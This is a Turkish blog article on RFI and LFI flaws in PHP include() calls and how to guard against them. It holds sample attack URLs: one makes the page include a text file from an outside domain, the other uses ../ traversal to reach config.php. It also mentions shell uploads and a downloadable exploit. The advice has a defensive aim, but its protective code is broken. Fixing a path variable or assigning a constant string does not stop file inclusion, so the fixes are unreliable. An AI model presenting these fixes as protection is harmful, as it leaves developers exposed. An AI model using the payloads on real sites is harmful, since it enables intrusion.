RFI ve LFI Açıklarından Korunma Yolları

RFI ve LFI Nedir ? RFI ve LFI Mantığı

RFI olarak bahsettiğimiz Remote File Include (Uzaktan Dosya Çağırma) ve LFI olarak bahsettiğimiz Local File Include (Serverdan dosya çağırma) yöntemlerinin mantığını ve korunma yollarını anlatan bir makale hazırlamanın zamanı geldi diye düşünüyorum. Uzun zamandır saldırganlar tarafından sıkça kullanılan bu açıklar şu sıralar yerini SQL açıklarına bırakmış durumlar aslın ama, yine de yıllar boyu varlıklarını sürdüreceklerine eminim.

Açıkların mantığının basit oluşu ve çok kullanılması zamanla php kodlayıcıların mantığı anlayarak açıklar için önlemler almasını sağladı. Ben de bu makalemde sizlere RFI & LFI açıklarından korunabilmeniz için alabileceğiniz bu önlemlerden bahsedeceğim.

RFI ve LFI açıklarını oluşturan kodlar: include / include_once / require / require once

Gelin öncelikle RFI ve LFI’yı bir örnek üzerinde inceleyelim ve sonrasında korunma yöntemlerini belirtelim.

Örnek;

Bir php makale scripti yazdığımızı varsayalım, index.php dosyamıza veritabanı.php dosyamızı çağırıyoruz. Bunun için gereken kodumuz:

include ($my. '../veritabani.php');
include('data/$my/veritabani.php');

Böyle bir kodun çalışmasını tarayıcımızda incelediğimiz zaman şunu görürüz:

index.php?my=veritabanı.php

İşte RFI ve LFI mantığı da buna dayanır. RFI ile kodlamada bulunan ve çağrılmak istenen dosya yerine kendi istediğimiz bir dosyayı çağırabilir yada LFI ile serverdaki bir dosyayı okuyabiliriz:

index.php?my=http://www.muratyıkılmaz.com.tr/my.txt?
index.php?my=../../..config.php

(RFI genellikle servera shell upload etmek için kullanılır.)

Bu Açıklardan Nasıl Korunurum?

Görüldüğü gibi açıkların çalışma mantığı gayet basit. Bu sebepler sizlerin RFI ve LFI’ya karşı alacağınız önlemler de gayet basit.

Önerilen ve en etkili korunma yöntemi kodlama yaparken çağrılacak sayfayı netleştirmenizdir. Yani yukarıdaki örneğimizden yola çıkarsak; çağrılacak sayfayı sadece veritabani.php ile kısıtlamaktır. Bunun için aşağıdaki kodu kullanabilirsiniz.

$path_to_folder="./"

Ayrıca çağırma değişkenini tanımlayarak da başka sayfaların çağrılmasını kolaylıkla engelleyebiliriz. Yine yukarıdaki örneğimizden yola çıkarsak;

$my değişkenimizi tanımlarız:

$my='asd12easd'

Çok geniş bir script yazıyorum. Her sayfa çağırmamda bu kodları kullanacak mıyım ? Unuturum diyorsanız size basit bir tavsiyem olacak;

Scripti yazdıktan sonra kendinizi saldırgan yerine koyun ve scriptte  açık arayın. Bunun için çok uzun zaman önce Türkçe’ye çevirdiğim bir exploit bulunuyor. Buraya tıklayarak indirebilirsiniz.

Diğer ve pek kullanılmayan iki yöntem ise sunucu dışından dosya çağırmayı ya da bazı kodları engellemektir. Yani siteniz içerisinde bulunmayan hiçbir dosya sitenize çağrılamaz ve shell kodları içeren dosyalar çalışmaz.  Bu yöntemlerin kullanılmama sebebi sadece geniş çapta olmasıdır. Upload vb. gibi kısımları bulunan scriptler başta olmak üzere birçok scriptin çalışmasını tamamen engellerler.

Bir Cevap Yazın

%d blogcu bunu beğendi: